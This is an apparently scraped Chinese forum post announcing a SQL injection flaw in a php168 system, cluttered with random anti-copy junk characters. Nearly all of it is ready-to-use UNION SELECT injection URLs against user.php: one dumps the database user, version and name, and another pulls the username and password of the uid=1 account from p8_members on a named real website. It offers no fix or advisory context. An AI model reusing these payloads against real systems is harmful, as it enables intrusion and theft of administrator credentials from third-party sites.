php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
                                                         
                                       

6 T+ ^  J# w. F& [http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
                                                     
3 T, Z: b8 r( i+ X                                                                  
+ _/ j) r* ?0 N1 ?' o                                                        
2 h' ]+ g3 H! Q( e4 N% p8 a1 l% }- lhttp://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--

8 ]5 Z5 T, M4 b6 u4 [9 [* V; @
- ?; N% D$ _6 w4 ~4 D! Q
                                                            

- f3 V' s& w$ P+ R/ Yhttp://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
$ d+ i  F% n& O" Y7 F0 w2 d7 ]
, g( n  I7 v3 n0 O
& S" I- h( T7 ~/ F$ m- s, M% T
                                                                    
; A+ T6 u5 C5 B+ l